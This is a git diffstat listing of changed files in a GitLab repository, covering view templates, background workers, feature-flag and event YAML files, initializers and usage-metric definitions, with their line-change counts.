-rw-r--r--app/views/admin/dev_ops_report/_report.html.haml9
-rw-r--r--app/views/admin/groups/show.html.haml6
-rw-r--r--app/views/admin/identities/index.html.haml2
-rw-r--r--app/views/admin/impersonation_tokens/index.html.haml5
-rw-r--r--app/views/admin/projects/show.html.haml21
-rw-r--r--app/views/admin/runners/_runner.html.haml10
-rw-r--r--app/views/admin/runners/index.html.haml12
-rw-r--r--app/views/admin/users/_approve_user.html.haml7
-rw-r--r--app/views/admin/users/_ban_user.html.haml9
-rw-r--r--app/views/admin/users/_block_user.html.haml8
-rw-r--r--app/views/admin/users/_head.html.haml63
-rw-r--r--app/views/admin/users/_reject_pending_user.html.haml7
-rw-r--r--app/views/admin/users/_user_activation_effects.html.haml6
-rw-r--r--app/views/admin/users/_user_approve_effects.html.haml11
-rw-r--r--app/views/admin/users/_user_detail_note.html.haml4
-rw-r--r--app/views/admin/users/_user_reject_effects.html.haml10
-rw-r--r--app/views/admin/users/keys.html.haml1
-rw-r--r--app/views/admin/users/projects.html.haml2
-rw-r--r--app/views/admin/users/show.html.haml129
-rw-r--r--app/views/ci/token_access/_index.html.haml1
-rw-r--r--app/views/ci/variables/_content.html.haml4
-rw-r--r--app/views/ci/variables/_index.html.haml6
-rw-r--r--app/views/ci/variables/_variable_row.html.haml2
-rw-r--r--app/views/clusters/clusters/_applications.html.haml1
-rw-r--r--app/views/clusters/clusters/_applications_tab.html.haml5
-rw-r--r--app/views/clusters/clusters/_banner.html.haml18
-rw-r--r--app/views/clusters/clusters/_multiple_clusters_message.html.haml2
-rw-r--r--app/views/clusters/clusters/_provider_details_form.html.haml4
-rw-r--r--app/views/clusters/clusters/aws/_new.html.haml8
-rw-r--r--app/views/clusters/clusters/gcp/_form.html.haml4
-rw-r--r--app/views/clusters/clusters/show.html.haml17
-rw-r--r--app/views/clusters/clusters/user/_form.html.haml4
-rw-r--r--app/views/dashboard/projects/index.html.haml9
-rw-r--r--app/views/devise/shared/_signup_box.html.haml2
-rw-r--r--app/views/groups/_delete_project_button.html.haml1
-rw-r--r--app/views/groups/_home_panel.html.haml4
-rw-r--r--app/views/groups/_import_group_from_file_panel.html.haml3
-rw-r--r--app/views/groups/_invite_members_modal.html.haml15
-rw-r--r--app/views/groups/_project_badges.html.haml2
-rw-r--r--app/views/groups/merge_requests.html.haml2
-rw-r--r--app/views/groups/milestones/_form.html.haml38
-rw-r--r--app/views/groups/projects.html.haml5
-rw-r--r--app/views/groups/runners/_group_runners.html.haml35
-rw-r--r--app/views/groups/runners/_runner.html.haml8
-rw-r--r--app/views/groups/runners/_settings.html.haml (renamed from app/views/groups/runners/_index.html.haml)0
-rw-r--r--app/views/groups/settings/_advanced.html.haml17
-rw-r--r--app/views/groups/settings/_pages_settings.html.haml2
-rw-r--r--app/views/groups/settings/_transfer.html.haml22
-rw-r--r--app/views/groups/settings/ci_cd/show.html.haml4
-rw-r--r--app/views/groups/settings/integrations/index.html.haml8
-rw-r--r--app/views/groups/settings/repository/_initial_branch_name.html.haml4
-rw-r--r--app/views/groups/show.html.haml2
-rw-r--r--app/views/help/index.html.haml2
-rw-r--r--app/views/import/gitlab_projects/new.html.haml2
-rw-r--r--app/views/import/shared/_new_project_form.html.haml4
-rw-r--r--app/views/layouts/_flash.html.haml2
-rw-r--r--app/views/layouts/_loading_hints.html.haml2
-rw-r--r--app/views/layouts/_page.html.haml4
-rw-r--r--app/views/layouts/_search.html.haml4
-rw-r--r--app/views/layouts/_snowplow.html.haml2
-rw-r--r--app/views/layouts/application.html.haml1
-rw-r--r--app/views/layouts/devise.html.haml25
-rw-r--r--app/views/layouts/header/_new_dropdown.html.haml2
-rw-r--r--app/views/layouts/header/_registration_enabled_callout.html.haml4
-rw-r--r--app/views/layouts/minimal.html.haml18
-rw-r--r--app/views/layouts/nav/_dashboard.html.haml2
-rw-r--r--app/views/layouts/nav/projects_dropdown/_show.html.haml21
-rw-r--r--app/views/layouts/nav/sidebar/_admin.html.haml20
-rw-r--r--app/views/layouts/nav/sidebar/_analytics_links.html.haml2
-rw-r--r--app/views/layouts/nav/sidebar/_context_menu_body.html.haml9
-rw-r--r--app/views/layouts/nav/sidebar/_group.html.haml210
-rw-r--r--app/views/layouts/nav/sidebar/_group_menus.html.haml166
-rw-r--r--app/views/layouts/nav/sidebar/_profile.html.haml7
-rw-r--r--app/views/layouts/welcome.html.haml8
-rw-r--r--app/views/notify/access_token_about_to_expire_email.html.haml2
-rw-r--r--app/views/notify/access_token_about_to_expire_email.text.erb2
-rw-r--r--app/views/notify/access_token_expired_email.html.haml2
-rw-r--r--app/views/notify/access_token_expired_email.text.erb2
-rw-r--r--app/views/notify/in_product_marketing_email.html.haml2
-rw-r--r--app/views/notify/send_admin_notification.html.haml7
-rw-r--r--app/views/notify/send_admin_notification.text.haml6
-rw-r--r--app/views/notify/send_unsubscribed_notification.html.haml2
-rw-r--r--app/views/notify/send_unsubscribed_notification.text.haml1
-rw-r--r--app/views/notify/user_deactivated_email.html.haml17
-rw-r--r--app/views/notify/user_deactivated_email.text.erb10
-rw-r--r--app/views/profiles/accounts/show.html.haml16
-rw-r--r--app/views/profiles/keys/index.html.haml4
-rw-r--r--app/views/profiles/personal_access_tokens/index.html.haml3
-rw-r--r--app/views/profiles/preferences/show.html.haml46
-rw-r--r--app/views/profiles/show.html.haml5
-rw-r--r--app/views/profiles/two_factor_auths/show.html.haml3
-rw-r--r--app/views/projects/_flash_messages.html.haml1
-rw-r--r--app/views/projects/_home_panel.html.haml4
-rw-r--r--app/views/projects/_import_project_pane.html.haml2
-rw-r--r--app/views/projects/_invite_members.html.haml12
-rw-r--r--app/views/projects/_invite_members_empty_project.html.haml13
-rw-r--r--app/views/projects/_invite_members_modal.html.haml15
-rw-r--r--app/views/projects/_merge_request_merge_checks_settings.html.haml2
-rw-r--r--app/views/projects/_new_project_fields.html.haml2
-rw-r--r--app/views/projects/_remove.html.haml2
-rw-r--r--app/views/projects/_terraform_banner.html.haml5
-rw-r--r--app/views/projects/blame/show.html.haml5
-rw-r--r--app/views/projects/blob/_pipeline_tour_success.html.haml2
-rw-r--r--app/views/projects/blob/viewers/_csv.html.haml1
-rw-r--r--app/views/projects/branches/new.html.haml8
-rw-r--r--app/views/projects/cycle_analytics/show.html.haml2
-rw-r--r--app/views/projects/default_branch/_show.html.haml4
-rw-r--r--app/views/projects/diffs/_warning.html.haml11
-rw-r--r--app/views/projects/empty.html.haml2
-rw-r--r--app/views/projects/feature_flags/edit.html.haml3
-rw-r--r--app/views/projects/forks/error.html.haml15
-rw-r--r--app/views/projects/forks/new.html.haml2
-rw-r--r--app/views/projects/import/jira/show.html.haml2
-rw-r--r--app/views/projects/issues/_alert_moved_from_service_desk.html.haml9
-rw-r--r--app/views/projects/issues/index.html.haml2
-rw-r--r--app/views/projects/issues/show.html.haml2
-rw-r--r--app/views/projects/mattermosts/_no_teams.html.haml2
-rw-r--r--app/views/projects/mattermosts/_team_selection.html.haml4
-rw-r--r--app/views/projects/merge_requests/show.html.haml2
-rw-r--r--app/views/projects/milestones/_form.html.haml40
-rw-r--r--app/views/projects/milestones/show.html.haml24
-rw-r--r--app/views/projects/packages/packages/show.html.haml24
-rw-r--r--app/views/projects/pages/_pages_settings.html.haml7
-rw-r--r--app/views/projects/pipelines/_with_tabs.html.haml2
-rw-r--r--app/views/projects/pipelines/index.html.haml4
-rw-r--r--app/views/projects/prometheus/metrics/edit.html.haml2
-rw-r--r--app/views/projects/prometheus/metrics/new.html.haml2
-rw-r--r--app/views/projects/protected_branches/shared/_create_protected_branch.html.haml2
-rw-r--r--app/views/projects/protected_branches/shared/_index.html.haml13
-rw-r--r--app/views/projects/protected_tags/shared/_index.html.haml12
-rw-r--r--app/views/projects/registry/settings/_index.haml9
-rw-r--r--app/views/projects/releases/index.html.haml2
-rw-r--r--app/views/projects/runners/_settings.html.haml (renamed from app/views/projects/runners/_index.html.haml)0
-rw-r--r--app/views/projects/runners/_specific_runners.html.haml34
-rw-r--r--app/views/projects/security/configuration/show.html.haml2
-rw-r--r--app/views/projects/settings/access_tokens/index.html.haml7
-rw-r--r--app/views/projects/settings/ci_cd/_autodevops_form.html.haml2
-rw-r--r--app/views/projects/settings/ci_cd/_form.html.haml12
-rw-r--r--app/views/projects/settings/ci_cd/show.html.haml22
-rw-r--r--app/views/projects/settings/operations/show.html.haml7
-rw-r--r--app/views/registrations/experience_levels/show.html.haml1
-rw-r--r--app/views/registrations/invites/new.html.haml17
-rw-r--r--app/views/registrations/welcome/show.html.haml5
-rw-r--r--app/views/root/index.html.haml10
-rw-r--r--app/views/search/_results.html.haml24
-rw-r--r--app/views/search/results/_blob_data.html.haml1
-rw-r--r--app/views/search/results/_issuable.html.haml33
-rw-r--r--app/views/search/results/_timeout.html.haml10
-rw-r--r--app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml4
-rw-r--r--app/views/shared/_confirm_your_email_alert.html.haml7
-rw-r--r--app/views/shared/_global_alert.html.haml16
-rw-r--r--app/views/shared/_group_form.html.haml3
-rw-r--r--app/views/shared/_import_form.html.haml11
-rw-r--r--app/views/shared/_new_project_item_select.html.haml2
-rw-r--r--app/views/shared/_ping_consent.html.haml14
-rw-r--r--app/views/shared/_project_limit.html.haml16
-rw-r--r--app/views/shared/_service_ping_consent.html.haml14
-rw-r--r--app/views/shared/_sidebar_toggle_button.html.haml2
-rw-r--r--app/views/shared/access_tokens/_form.html.haml29
-rw-r--r--app/views/shared/access_tokens/_table.html.haml17
-rw-r--r--app/views/shared/boards/_show.html.haml4
-rw-r--r--app/views/shared/deploy_keys/_form.html.haml2
-rw-r--r--app/views/shared/deploy_keys/_project_group_form.html.haml2
-rw-r--r--app/views/shared/deploy_tokens/_form.html.haml2
-rw-r--r--app/views/shared/empty_states/_issues.html.haml2
-rw-r--r--app/views/shared/issuable/_bulk_update_sidebar.html.haml12
-rw-r--r--app/views/shared/issuable/_form.html.haml15
-rw-r--r--app/views/shared/issuable/_invite_members_trigger.html.haml8
-rw-r--r--app/views/shared/issuable/_search_bar.html.haml2
-rw-r--r--app/views/shared/issuable/_sidebar.html.haml41
-rw-r--r--app/views/shared/issuable/_sidebar_todo.html.haml15
-rw-r--r--app/views/shared/issuable/_sort_dropdown.html.haml2
-rw-r--r--app/views/shared/issue_type/_details_content.html.haml3
-rw-r--r--app/views/shared/members/_group.html.haml50
-rw-r--r--app/views/shared/members/_manage_access_button.html.haml7
-rw-r--r--app/views/shared/members/_member.html.haml72
-rw-r--r--app/views/shared/members/_requests.html.haml5
-rw-r--r--app/views/shared/members/_search_field.html.haml6
-rw-r--r--app/views/shared/members/_sort_dropdown.html.haml19
-rw-r--r--app/views/shared/milestones/_form_dates.html.haml24
-rw-r--r--app/views/shared/milestones/_issuable.html.haml2
-rw-r--r--app/views/shared/milestones/_issuables.html.haml14
-rw-r--r--app/views/shared/milestones/_milestone_complete_alert.html.haml10
-rw-r--r--app/views/shared/milestones/_top.html.haml9
-rw-r--r--app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml3
-rw-r--r--app/views/shared/namespaces/cascading_settings/_setting_label_checkbox.html.haml3
-rw-r--r--app/views/shared/namespaces/cascading_settings/_setting_label_fieldset.html.haml3
-rw-r--r--app/views/shared/nav/_scope_menu.html.haml12
-rw-r--r--app/views/shared/nav/_scope_menu_body.html.haml8
-rw-r--r--app/views/shared/nav/_sidebar.html.haml13
-rw-r--r--app/views/shared/nav/_sidebar_menu.html.haml12
-rw-r--r--app/views/shared/nav/_sidebar_menu_collapsed.html.haml5
-rw-r--r--app/views/shared/snippets/_embed.html.haml4
-rw-r--r--app/views/shared/wikis/edit.html.haml2
-rw-r--r--app/views/users/unsubscribes/show.html.haml11
-rw-r--r--app/workers/all_queues.yml65
-rw-r--r--app/workers/archive_trace_worker.rb15
-rw-r--r--app/workers/authorized_project_update/user_refresh_from_replica_worker.rb47
-rw-r--r--app/workers/build_finished_worker.rb58
-rw-r--r--app/workers/build_queue_worker.rb2
-rw-r--r--app/workers/bulk_imports/export_request_worker.rb2
-rw-r--r--app/workers/ci/archive_trace_worker.rb18
-rw-r--r--app/workers/ci/archive_traces_cron_worker.rb2
-rw-r--r--app/workers/ci/build_finished_worker.rb71
-rw-r--r--app/workers/ci/resource_groups/assign_resource_from_resource_group_worker.rb12
-rw-r--r--app/workers/clusters/applications/activate_service_worker.rb2
-rw-r--r--app/workers/clusters/applications/deactivate_service_worker.rb14
-rw-r--r--app/workers/concerns/application_worker.rb25
-rw-r--r--app/workers/concerns/gitlab/github_import/object_importer.rb17
-rw-r--r--app/workers/concerns/waitable_worker.rb4
-rw-r--r--app/workers/concerns/worker_attributes.rb3
-rw-r--r--app/workers/container_expiration_policies/cleanup_container_repository_worker.rb10
-rw-r--r--app/workers/container_expiration_policy_worker.rb21
-rw-r--r--app/workers/database/partition_management_worker.rb19
-rw-r--r--app/workers/expire_pipeline_cache_worker.rb2
-rw-r--r--app/workers/gitlab/github_import/import_diff_note_worker.rb8
-rw-r--r--app/workers/gitlab/github_import/import_issue_worker.rb8
-rw-r--r--app/workers/gitlab/github_import/import_lfs_object_worker.rb8
-rw-r--r--app/workers/gitlab/github_import/import_note_worker.rb8
-rw-r--r--app/workers/gitlab/github_import/import_pull_request_merged_by_worker.rb8
-rw-r--r--app/workers/gitlab/github_import/import_pull_request_review_worker.rb8
-rw-r--r--app/workers/gitlab/github_import/import_pull_request_worker.rb8
-rw-r--r--app/workers/gitlab/github_import/stage/finish_import_worker.rb3
-rw-r--r--app/workers/gitlab/import/stuck_import_job.rb2
-rw-r--r--app/workers/gitlab_service_ping_worker.rb28
-rw-r--r--app/workers/gitlab_usage_ping_worker.rb28
-rw-r--r--app/workers/jira_connect/forward_event_worker.rb25
-rw-r--r--app/workers/jira_connect/sync_branch_worker.rb5
-rw-r--r--app/workers/jira_connect/sync_builds_worker.rb8
-rw-r--r--app/workers/jira_connect/sync_deployments_worker.rb8
-rw-r--r--app/workers/jira_connect/sync_feature_flags_worker.rb8
-rw-r--r--app/workers/jira_connect/sync_merge_request_worker.rb4
-rw-r--r--app/workers/jira_connect/sync_project_worker.rb5
-rw-r--r--app/workers/merge_request_cleanup_refs_worker.rb56
-rw-r--r--app/workers/namespaces/in_product_marketing_emails_worker.rb5
-rw-r--r--app/workers/packages/helm/extraction_worker.rb29
-rw-r--r--app/workers/partition_creation_worker.rb5
-rw-r--r--app/workers/pipeline_hooks_worker.rb2
-rw-r--r--app/workers/project_service_worker.rb2
-rw-r--r--app/workers/projects/post_creation_worker.rb12
-rw-r--r--app/workers/prometheus/create_default_alerts_worker.rb2
-rw-r--r--app/workers/repository_check/single_repository_worker.rb2
-rw-r--r--app/workers/schedule_merge_request_cleanup_refs_worker.rb13
-rw-r--r--babel.config.js4
-rwxr-xr-xbin/actioncable63
-rwxr-xr-xbin/background_jobs_sk10
-rwxr-xr-xbin/background_jobs_sk_cluster12
-rw-r--r--cable/config.ru10
-rw-r--r--config/application.rb25
-rw-r--r--config/environments/development.rb2
-rw-r--r--config/environments/production.rb3
-rw-r--r--config/events/api__group_container_repositories_list_repositories.yml18
-rw-r--r--config/events/api__project_container_repositories_delete_repository.yml18
-rw-r--r--config/events/api__project_container_repositories_delete_tag.yml18
-rw-r--r--config/events/api__project_container_repositories_delete_tag_bulk.yml18
-rw-r--r--config/events/api__project_container_repositories_list_repositories.yml18
-rw-r--r--config/events/api__project_container_repositories_list_tags.yml18
-rw-r--r--config/events/api__pypi_packages_list_package.yml18
-rw-r--r--config/events/cluster_applications_cluster_application_name.yml18
-rw-r--r--config/events/cluster_services_prometheus_disabled_manual_prometheus.yml18
-rw-r--r--config/events/cluster_services_prometheus_enabled_manual_prometheus.yml18
-rw-r--r--config/events/container_registry_notification_create_repository.yml18
-rw-r--r--config/events/container_registry_notification_delete_repository.yml18
-rw-r--r--config/events/container_registry_notification_delete_tag.yml18
-rw-r--r--config/events/container_registry_notification_push_repository.yml18
-rw-r--r--config/events/container_registry_notification_push_tag.yml18
-rw-r--r--config/events/delete_repository_container.yml18
-rw-r--r--config/events/delete_tag_bulk_tag.yml18
-rw-r--r--config/events/experiment_name_initial_write.yml18
-rw-r--r--config/events/experiment_name_write.yml18
-rw-r--r--config/events/groups__email_campaigns_controller_click.yml18
-rw-r--r--config/events/groups__registry__repositories_controller_list_repositories.yml18
-rw-r--r--config/events/incident_management__zoom_integration_add_zoom_meeting.yml18
-rw-r--r--config/events/incident_management__zoom_integration_remove_zoom_meeting.yml18
-rw-r--r--config/events/list_repositories_container.yml18
-rw-r--r--config/events/notes__create_service_execute.yml18
-rw-r--r--config/events/package_class_pull_package.yml18
-rw-r--r--config/events/package_class_push_package.yml18
-rw-r--r--config/events/projects__registry__repositories_controller_delete_repository.yml18
-rw-r--r--config/events/projects__registry__repositories_controller_list_repositories.yml18
-rw-r--r--config/events/projects__registry__tags_controller_delete_tag.yml18
-rw-r--r--config/events/projects__registry__tags_controller_delete_tag_bulk.yml18
-rw-r--r--config/events/projects__registry__tags_controller_list_tags.yml18
-rw-r--r--config/feature_categories.yml4
-rw-r--r--config/feature_flags/development/add_timezone_to_web_operations.yml8
-rw-r--r--config/feature_flags/development/allow_archive_as_web_access_format.yml8
-rw-r--r--config/feature_flags/development/api_caching_rate_limit_repository_compare.yml8
-rw-r--r--config/feature_flags/development/approvals_commented_by.yml8
-rw-r--r--config/feature_flags/development/block_external_fork_network_mirrors.yml2
-rw-r--r--config/feature_flags/development/cached_markdown_blob.yml8
-rw-r--r--config/feature_flags/development/cancel_pipelines_prior_to_destroy.yml8
-rw-r--r--config/feature_flags/development/cascading_namespace_settings.yml8
-rw-r--r--config/feature_flags/development/ci_artifacts_exclude.yml8
-rw-r--r--config/feature_flags/development/ci_build_finished_worker_namespace_changed.yml8
-rw-r--r--config/feature_flags/development/ci_build_metadata_config.yml2
-rw-r--r--config/feature_flags/development/ci_drop_new_builds_when_ci_quota_exceeded.yml8
-rw-r--r--config/feature_flags/development/ci_fix_pipeline_status_for_dag_needs_manual.yml8
-rw-r--r--config/feature_flags/development/ci_job_jwt.yml2
-rw-r--r--config/feature_flags/development/ci_job_trace_force_encode.yml8
-rw-r--r--config/feature_flags/development/ci_jobs_trace_size_limit.yml8
-rw-r--r--config/feature_flags/development/ci_jwt_signing_key.yml2
-rw-r--r--config/feature_flags/development/ci_pending_builds_maintain_shared_runners_data.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_queue_join.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_queue_source.yml8
-rw-r--r--config/feature_flags/development/ci_pipeline_latest.yml8
-rw-r--r--config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml8
-rw-r--r--config/feature_flags/development/ci_reset_bridge_with_subsequent_jobs.yml2
-rw-r--r--config/feature_flags/development/ci_runners_tokens_optional_encryption.yml8
-rw-r--r--config/feature_flags/development/ci_same_stage_job_needs.yml8
-rw-r--r--config/feature_flags/development/ci_workflow_rules_variables.yml8
-rw-r--r--config/feature_flags/development/codequality_mr_diff.yml8
-rw-r--r--config/feature_flags/development/codequality_mr_diff_annotations.yml8
-rw-r--r--config/feature_flags/development/container_registry_migration_phase1.yml8
-rw-r--r--config/feature_flags/development/container_registry_migration_phase1_allow.yml8
-rw-r--r--config/feature_flags/development/container_registry_migration_phase1_deny.yml8
-rw-r--r--config/feature_flags/development/datadog_ci_integration.yml8
-rw-r--r--config/feature_flags/development/diffs_batch_render_cached.yml8
-rw-r--r--config/feature_flags/development/diffs_gradual_load.yml8
-rw-r--r--config/feature_flags/development/disable_composer_callback.yml8
-rw-r--r--config/feature_flags/development/disable_service_templates.yml8
-rw-r--r--config/feature_flags/development/drag_comment_selection.yml8
-rw-r--r--config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml8
-rw-r--r--config/feature_flags/development/escalation_policies_mvc.yml8
-rw-r--r--config/feature_flags/development/evalute_protected_tag_for_release_permissions.yml8
-rw-r--r--config/feature_flags/development/feature_flag_permissions.yml8
-rw-r--r--config/feature_flags/development/fetch_remote_params.yml2
-rw-r--r--config/feature_flags/development/fork_project_form.yml2
-rw-r--r--config/feature_flags/development/generate_iids_without_explicit_locking.yml8
-rw-r--r--config/feature_flags/development/git_access_batched_changes_size.yml8
-rw-r--r--config/feature_flags/development/group_devops_adoption.yml8
-rw-r--r--config/feature_flags/development/helm_packages.yml8
-rw-r--r--config/feature_flags/development/increase_page_size_exponentially.yml8
-rw-r--r--config/feature_flags/development/infinitely_collapsible_sections.yml8
-rw-r--r--config/feature_flags/development/integrated_error_tracking.yml8
-rw-r--r--config/feature_flags/development/issue_boards_filtered_search.yml8
-rw-r--r--config/feature_flags/development/jira_issue_details_edit_labels.yml8
-rw-r--r--config/feature_flags/development/jira_issue_details_edit_status.yml8
-rw-r--r--config/feature_flags/development/kubernetes_agent_on_gitlab_com.yml8
-rw-r--r--config/feature_flags/development/lfs_link_existing_object.yml7
-rw-r--r--config/feature_flags/development/list_commits.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_build_queue_worker.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_expire_pipeline_cache_worker.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_pipeline_hooks_worker.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_update_all_mirrors_worker.yml8
-rw-r--r--config/feature_flags/development/load_balancing_refine_load_balancer_methods.yml8
-rw-r--r--config/feature_flags/development/mailgun_events_receiver.yml8
-rw-r--r--config/feature_flags/development/merge_request_discussion_cache.yml8
-rw-r--r--config/feature_flags/development/merge_request_refs_cleanup.yml2
-rw-r--r--config/feature_flags/development/multiple_database_metrics.yml8
-rw-r--r--config/feature_flags/development/multiple_oncall_schedules.yml8
-rw-r--r--config/feature_flags/development/new_release_page.yml8
-rw-r--r--config/feature_flags/development/one_megabyte_file_size_limit.yml8
-rw-r--r--config/feature_flags/development/package_details_apollo.yml8
-rw-r--r--config/feature_flags/development/partition_pruning_dry_run.yml8
-rw-r--r--config/feature_flags/development/pipeline_editor_branch_switcher.yml2
-rw-r--r--config/feature_flags/development/pipeline_filter_jobs.yml8
-rw-r--r--config/feature_flags/development/project_finder_similarity_sort.yml8
-rw-r--r--config/feature_flags/development/project_statistics_sync.yml8
-rw-r--r--config/feature_flags/development/projects_post_creation_worker.yml8
-rw-r--r--config/feature_flags/development/read_container_registry_access_level.yml8
-rw-r--r--config/feature_flags/development/runner_detailed_view_vue_ui.yml2
-rw-r--r--config/feature_flags/development/runner_graphql_query.yml3
-rw-r--r--config/feature_flags/development/runner_list_view_vue_ui.yml2
-rw-r--r--config/feature_flags/development/runner_registration_control.yml8
-rw-r--r--config/feature_flags/development/search_sort_issues_by_popularity.yml8
-rw-r--r--config/feature_flags/development/security_ci_lint_authorization.yml8
-rw-r--r--config/feature_flags/development/security_configuration_redesign_ee.yml8
-rw-r--r--config/feature_flags/development/sidebar_refactor.yml8
-rw-r--r--config/feature_flags/development/sidekiq_job_completion_metric_initialize.yml8
-rw-r--r--config/feature_flags/development/sidekiq_load_balancing_rotate_up_to_date_replica.yml8
-rw-r--r--config/feature_flags/development/snippet_spam.yml8
-rw-r--r--config/feature_flags/development/sort_by_project_users_by_project_authorizations_user_id.yml8
-rw-r--r--config/feature_flags/development/specialized_worker_for_project_share_update_auth_recalculation.yml8
-rw-r--r--config/feature_flags/development/specialized_worker_for_project_transfer_auth_recalculation.yml8
-rw-r--r--config/feature_flags/development/trace_memory_allocations.yml8
-rw-r--r--config/feature_flags/development/unified_diff_components.yml8
-rw-r--r--config/feature_flags/development/update_remote_mirror_inmemory.yml2
-rw-r--r--config/feature_flags/development/usage_data_code_review_aggregation.yml8
-rw-r--r--config/feature_flags/development/usage_data_i_ci_secrets_management_vault_build_created.yml2
-rw-r--r--config/feature_flags/development/use_distinct_for_all_object_hierarchy.yml8
-rw-r--r--config/feature_flags/development/use_distinct_in_object_hierarchy.yml8
-rw-r--r--config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml8
-rw-r--r--config/feature_flags/development/use_distinct_in_shas_cte.yml8
-rw-r--r--config/feature_flags/development/use_traversal_ids_for_ancestors.yml2
-rw-r--r--config/feature_flags/development/use_workhorse_s3_client.yml8
-rw-r--r--config/feature_flags/development/user_refresh_from_replica_worker_uses_replica_db.yml8
-rw-r--r--config/feature_flags/development/web_hooks_rate_limit.yml8
-rw-r--r--config/feature_flags/experiment/in_product_marketing_emails_experiment_percentage.yml8
-rw-r--r--config/feature_flags/experiment/invite_signup_page_interaction.yml8
-rw-r--r--config/feature_flags/experiment/new_project_readme_content.yml8
-rw-r--r--config/feature_flags/experiment/new_repo.yml8
-rw-r--r--config/feature_flags/experiment/pipeline_empty_state_templates.yml8
-rw-r--r--config/feature_flags/experiment/redirect_trial_user_to_feature.yml8
-rw-r--r--config/feature_flags/ops/ci_queueing_disaster_recovery.yml8
-rw-r--r--config/feature_flags/ops/ci_queueing_disaster_recovery_disable_fair_scheduling.yml8
-rw-r--r--config/feature_flags/ops/ci_queueing_disaster_recovery_disable_quota.yml8
-rw-r--r--config/feature_flags/ops/dedicated_redis_trace_chunks.yml8
-rw-r--r--config/gitlab.yml.example7
-rw-r--r--config/initializers/0_migration_paths_additional.rb9
-rw-r--r--config/initializers/0_post_deployment_migrations.rb6
-rw-r--r--config/initializers/0_runtime_identify.rb14
-rw-r--r--config/initializers/1_settings.rb28
-rw-r--r--config/initializers/7_prometheus_metrics.rb12
-rw-r--r--config/initializers/7_redis.rb2
-rw-r--r--config/initializers/9_runtime_identify.rb14
-rw-r--r--config/initializers/active_record_build_select.rb6
-rw-r--r--config/initializers/active_record_force_reconnects.rb3
-rw-r--r--config/initializers/asciidoctor_patch.rb20
-rw-r--r--config/initializers/attr_encrypted_no_db_connection.rb16
-rw-r--r--config/initializers/check_decomposition_database_config.rb7
-rw-r--r--config/initializers/gitlab_experiment.rb15
-rw-r--r--config/initializers/global_id.rb2
-rw-r--r--config/initializers/postgres_partitioning.rb10
-rw-r--r--config/initializers/rspec_profiling.rb2
-rw-r--r--config/initializers/zz_metrics.rb10
-rw-r--r--config/initializers_before_autoloader/004_zeitwerk.rb72
-rw-r--r--config/karma.config.js2
-rw-r--r--config/known_invalid_graphql_queries.yml1
-rw-r--r--config/metrics/aggregates/code_review.yml3
-rw-r--r--config/metrics/counts_28d/20210201124930_deployments.yml1
-rw-r--r--config/metrics/counts_28d/20210216174910_analytics_unique_visits_for_any_target_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216174933_p_analytics_pipelines_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216174941_p_analytics_valuestream_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216174956_i_analytics_cohorts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175000_i_analytics_dev_ops_score_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175004_g_analytics_merge_request_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175012_i_analytics_instance_statistics_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175055_merge_requests.yml1
-rw-r--r--config/metrics/counts_28d/20210216175057_projects_with_disable_overriding_approvers_per_merge_request.yml1
-rw-r--r--config/metrics/counts_28d/20210216175059_projects_without_disable_overriding_approvers_per_merge_request.yml1
-rw-r--r--config/metrics/counts_28d/20210216175101_merge_requests_users.yml1
-rw-r--r--config/metrics/counts_28d/20210216175109_suggestions.yml1
-rw-r--r--config/metrics/counts_28d/20210216175113_merge_request_action_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175117_i_source_code_code_intelligence_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175120_i_code_review_mr_diffs_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175124_i_code_review_user_single_file_diffs_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175128_i_code_review_mr_single_file_diffs_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175132_i_code_review_user_create_mr_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175136_i_code_review_user_close_mr_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175140_i_code_review_user_reopen_mr_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175144_i_code_review_user_merge_mr_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175148_i_code_review_user_create_mr_comment_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175152_i_code_review_user_edit_mr_comment_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175156_i_code_review_user_remove_mr_comment_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175159_i_code_review_user_add_suggestion_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175203_i_code_review_user_apply_suggestion_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml1
-rw-r--r--config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml1
-rw-r--r--config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml1
-rw-r--r--config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml1
-rw-r--r--config/metrics/counts_28d/20210216175413_clusters_management_project.yml1
-rw-r--r--config/metrics/counts_28d/20210216175415_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175417_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml1
-rw-r--r--config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml1
-rw-r--r--config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml1
